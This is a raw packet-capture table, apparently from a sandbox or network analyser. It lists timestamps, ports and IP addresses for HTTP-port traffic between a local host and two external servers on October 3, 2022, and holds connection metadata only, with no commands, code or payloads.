Oct 3, 2022 17:34:56.091151953 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:56.091221094 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:56.123517036 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:56.123564005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:56.194015980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:56.194060087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:56.194197893 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:35:19.423065901 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:22.584212065 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:22.615592003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:22.615726948 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:22.638036013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:22.711482048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.024596930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.024624109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.024640083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.024658918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.024674892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.024692059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.024749994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.024765015 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.024807930 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.024807930 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.750104904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.802938938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.827912092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.827956915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.827991009 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.828003883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.828020096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.828042984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.828042984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.828052044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.828059912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.828084946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.828109026 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.828115940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.828126907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.828146935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.828159094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.828212023 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.828397989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.828442097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.828772068 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.828772068 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.896415949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.896529913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.896588087 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.896631956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.896672010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.896671057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.896708012 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.896712065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.896748066 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.896754980 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.896771908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.896795034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.896809101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.896840096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.896862030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.896895885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.896899939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.896959066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.896967888 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.897007942 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.897021055 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.897063017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.897078991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.897103071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.897114992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.897147894 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.897154093 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.897198915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.897203922 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.897258043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.897279978 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.897330046 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.897330999 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.897377968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.897383928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.897425890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.897437096 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.897485971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.927627087 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.927659988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.927680016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.927696943 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.927714109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.927731037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.927748919 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.927766085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.927767038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.927798986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.927800894 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.927810907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.927818060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.927835941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.927836895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.927871943 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.927898884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.927932978 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.927987099 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928004026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928023100 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928030968 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928049088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928057909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928066969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928075075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928092003 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928105116 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928124905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928155899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928163052 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928174019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928186893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928190947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928205013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928209066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928226948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928229094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928244114 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928245068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928261995 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928275108 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928317070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928337097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928354979 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928375959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928396940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928423882 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928433895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928481102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928483009 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928513050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928515911 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928531885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928549051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928550959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928561926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928565979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928581953 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928608894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928623915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928642988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928658962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928663969 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928677082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928679943 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928703070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928714991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928720951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928751945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928755045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928783894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.928793907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.928826094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957119942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957169056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957195044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957201958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957217932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957240105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957240105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957242012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957253933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957262039 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957278013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957278967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957292080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957295895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957314014 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957317114 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957329988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957338095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957350016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957350016 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957366943 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957371950 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957384109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957387924 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957401037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957407951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957418919 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957423925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957437992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957438946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957457066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957472086 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957473993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957492113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957492113 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957509041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957518101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957525969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957544088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957545996 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957561016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957572937 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957578897 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957597017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957613945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957617998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957628012 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957632065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957649946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957654953 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957667112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957678080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957684994 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957704067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.957705975 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957730055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.957753897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:23.999954939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:23.999995947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000022888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000049114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000075102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000107050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000149012 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000170946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000196934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000219107 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000222921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000248909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000267029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000274897 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000299931 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000299931 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000325918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000339031 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000353098 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000375986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000379086 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000405073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000411034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000430107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000452042 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000457048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000483036 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000500917 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000509977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000535965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000547886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000561953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000572920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000587940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000613928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000614882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000642061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000647068 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000668049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000689983 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000693083 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000719070 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000722885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000744104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000761986 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000770092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000793934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000802040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000821114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000844955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000847101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000873089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000885010 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000899076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000926018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000950098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.000952005 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.000987053 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.001002073 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.001034975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.001085043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.001118898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.001144886 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.001168966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.001195908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.001200914 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.001228094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.001243114 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.001255035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.001280069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.001295090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.001295090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.001306057 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.001329899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.001332045 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.001352072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.001358986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.001374960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.001384974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.001400948 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.001410961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.001425982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.001436949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.001458883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.001473904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.029772043 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.029810905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.029839039 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.029865026 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.029891014 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.029917002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.029926062 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.029942036 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.029958963 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.029968977 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.029994965 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030020952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030045986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030062914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030062914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030071020 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030076027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030097961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030116081 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030124903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030149937 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030153036 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030174971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030200005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030201912 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030217886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030226946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030252934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030255079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030275106 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030278921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030294895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:24.030306101 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:24.030316114 CEST	49703	80	192.168.2.7	193.38.55.180
